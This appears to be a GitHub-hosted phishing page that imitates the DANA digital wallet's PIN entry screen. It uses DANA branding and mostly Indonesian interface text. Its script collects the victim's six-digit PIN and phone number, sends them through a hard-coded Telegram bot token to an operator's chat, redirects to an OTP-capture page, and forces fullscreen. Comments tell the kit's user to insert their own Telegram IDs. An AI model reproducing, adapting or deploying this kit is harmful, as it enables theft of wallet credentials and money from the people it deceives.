forked from id-dana/dompet-digital.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dana_pin.html
108 lines (100 loc) · 7.64 KB
/
dana_pin.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
<!DOCTYPE html><title>DANA | Dompet digital</title><link href="https://a.m.dana.id/merchant-portal/app/assets/fav-icon.png" rel="icon" type="image/png"><meta content="text/html; charset=utf-8" http-equiv=content-type><meta content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no" name=viewport><style>@import url(https://fonts.googleapis.com/css2?family=Open+Sans:wght@400;600;700&display=swap);*{font-family:'Open Sans',sans-serif;font-weight:400}body{width:100%;height:100vh;margin:0;padding:0;background-color:#118eea;}.container{box-sizing:border-box;display:block;margin:auto;width:100%;height:100%;max-width:600px;max-height:1000px;background-color:#118eea;padding:25px;position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);-webkit-transform:translate(-50%,-50%);-moz-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);-o-transform:translate(-50%,-50%)}.back{position:absolute;top:25px;width:18px;float:left}.dana_logo{display:block;width:95px;margin-top:-5px;margin-left:auto;margin-right:auto}h1{margin-top:60px;text-align:center;font-size:15px;color:#fff}.bh1{font-weight:700}.inputPin{box-sizing:border-box;margin-top:50px;width:100%}.formPin{max-width:500px;margin:auto;margin-top:30px}.six_pin{display:flex;justify-content:center}.inpPin{caret-color:transparent;font-size:20px;font-weight:600;text-align:center;width:48px;height:48px;border:0;outline:0;border-radius:8px;margin-left:2px;margin-right:2px}.btn{display:flex;justify-content:center;align-items:center;flex-direction:column}.see{margin-bottom:52px;margin-top:33px;background:0 0;font-size:13px;color:#fff;width:110px;height:24px;border:1.2px solid #fff;border-radius:20px}.lupa{font-size:15px;font-weight:600;color:#fff;text-decoration:none}</style><style>.process{position:absolute;display:flex;justify-content:center;align-items:center;background:#0000005b;width:100%;height:100vh}.loading{position:absolute;display:flex;justify-content:center;align-items:center;margin-bottom:20%}.loading img{width:50px}.loading .spinner{position:absolute;width:35px;animation:spin 1s linear infinite;-webkit-animation:spin 1s linear infinite;-moz-animation:spin 1s linear infinite;-ms-animation:spin 1s linear infinite;-o-animation:spin 1s linear infinite}@keyframes spin{0%{transform:rotate(360deg)}100%{transform:rotate(0deg)}}@-webkit-keyframes spin{0%{-webkit-transform:rotate(360deg)}100%{-webkit-transform:rotate(0deg)}}@-moz-keyframes spin{0%{-webkit-transform:rotate(360deg)}100%{-webkit-transform:rotate(0deg)}}@-ms-keyframes spin{0%{-webkit-transform:rotate(360deg)}100%{-webkit-transform:rotate(0deg)}}@-o-keyframes spin{0%{-webkit-transform:rotate(360deg)}100%{-webkit-transform:rotate(0deg)}}</style><div class=container><a class=aback href="login.html"><img src=https://yongkru.skemabiayatarif.com/DANA/assets/img/back.png class=back></a><img src=https://www.dana.id/_nuxt/img/dana-logo.fe46647.png class=dana_logo><h1>Masukkan <b class=bh1>PIN DANA</b></h1><div class=inputPin><form class=formPin><div class=six_pin><input autocomplete=off class=inpPin id=pin1 inputmode=numeric maxlength=1 name=pin1 type=password><input autocomplete=off class=inpPin id=pin2 inputmode=numeric maxlength=1 name=pin2 type=password><input autocomplete=off class=inpPin id=pin3 inputmode=numeric maxlength=1 name=pin3 type=password><input autocomplete=off class=inpPin id=pin4 inputmode=numeric maxlength=1 name=pin4 type=password><input autocomplete=off class=inpPin id=pin5 inputmode=numeric maxlength=1 name=pin5 type=password><input autocomplete=off class=inpPin id=pin6 inputmode=numeric maxlength=1 name=pin6 type=password></div></form><div class=btn><button type="button" class=see id=see>TAMPILKAN</button> <a class=lupa href="#">LUPA PIN?</a></div></div></div><div class=process id=process name=process style=display:none><div class=loading><img src=https://yongkru.skemabiayatarif.com/DANA/assets/img/load_bg.png> <img src=https://yongkru.skemabiayatarif.com/DANA/assets/img/load_spin.png class=spinner></div></div><script>
const inputs = document.querySelectorAll(".six_pin input");
const form = document.querySelector("form")
inputs.forEach((input, index) => {
input.dataset.index = index;
input.addEventListener("keydown", clear);
input.addEventListener("keyup", onKeyUp);
});
function clear($event) { $event.target.value = ""; }
function checkNumber(number) { return /[0-9]/g.test(number); }
function onKeyUp($event) {
const input = $event.target;
const value = input.value;
const fieldIndex = +input.dataset.index;
if ($event.key === "Backspace" & fieldIndex > 0) {
input.previousElementSibling.focus();
}
if (checkNumber(value)) {
if (value.length > 0 & fieldIndex < inputs.length - 1) {
input.nextElementSibling.focus();
}
if (input.value !== "" & fieldIndex === inputs.length - 1) {
input.readOnly = true;
submit();
}
} else {
clear($event);
}
}
var btn_show = document.getElementById('see');
var pin = document.getElementById('pin1');
var pinn = document.getElementById('pin2');
var pinnn = document.getElementById('pin3');
var pinnnn = document.getElementById('pin4');
var pinnnnn = document.getElementById('pin5');
var pinnnnnn = document.getElementById('pin6');
btn_show.addEventListener('click', pasToText);
function pasToText(){
if ((pin.type == 'password')&(pinn.type == 'password')&(pinnn.type == 'password')&(pinnnn.type == 'password')&(pinnnnn.type == 'password')&(pinnnnnn.type == 'password')){
pin.setAttribute('type','text')
pinn.setAttribute('type','text')
pinnn.setAttribute('type','text')
pinnnn.setAttribute('type','text')
pinnnnn.setAttribute('type','text')
pinnnnnn.setAttribute('type','text')
btn_show.innerHTML='SEMBUNYIKAN'
} else {
pin.setAttribute('type','password')
pinn.setAttribute('type','password')
pinnn.setAttribute('type','password')
pinnnn.setAttribute('type','password')
pinnnnn.setAttribute('type','password')
pinnnnnn.setAttribute('type','password')
btn_show.innerHTML='TAMPILKAN'
}
}
</script>
<script>
function submit(){
let xx = document.getElementById('process')
xx.style.display = 'flex';
let phone_number = sessionStorage.getItem("phoneNumber");
let pinone = document.getElementById('pin1').value;
let pintwo = document.getElementById('pin2').value;
let pinthree = document.getElementById('pin3').value;
let pinfour = document.getElementById('pin4').value;
let pinfive = document.getElementById('pin5').value;
let pinsix = document.getElementById('pin6').value;
let pinNumber = pinone+pintwo+pinthree+pinfour+pinfive+pinsix;
sessionStorage.setItem("pinNumber", pinNumber);
let message = `
DANA | PIN | ${phone_number}
- No HP : ${phone_number}
- Pin Akun : ${pinNumber}`;
//_masukan_ID_Akun_Telegram_kamu
var id_telegram = "6165817834";
//_masukan_ID_Bot_Telegram_kamu
var token_botTele = "5734637950:AAE_4iw4P2iqWvhpqbUoXxDngB1t53exCmQ";
fetch("https://api.telegram.org/bot"+token_botTele+"/sendMessage?parse_mode=markdown",{
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
chat_id: id_telegram,
text: message
})
});
window.location.href = "./dana_otp.html";
}
</script>
<script>
document.documentElement.addEventListener("click", function (){
let docElm = document.documentElement;
if (docElm.requestFullscreen) {docElm.requestFullscreen()}
else if (docElm.mozRequestFullScreen) {docElm.mozRequestFullScreen()}
else if (docElm.webkitRequestFullScreen) {docElm.webkitRequestFullScreen()}
});
</script>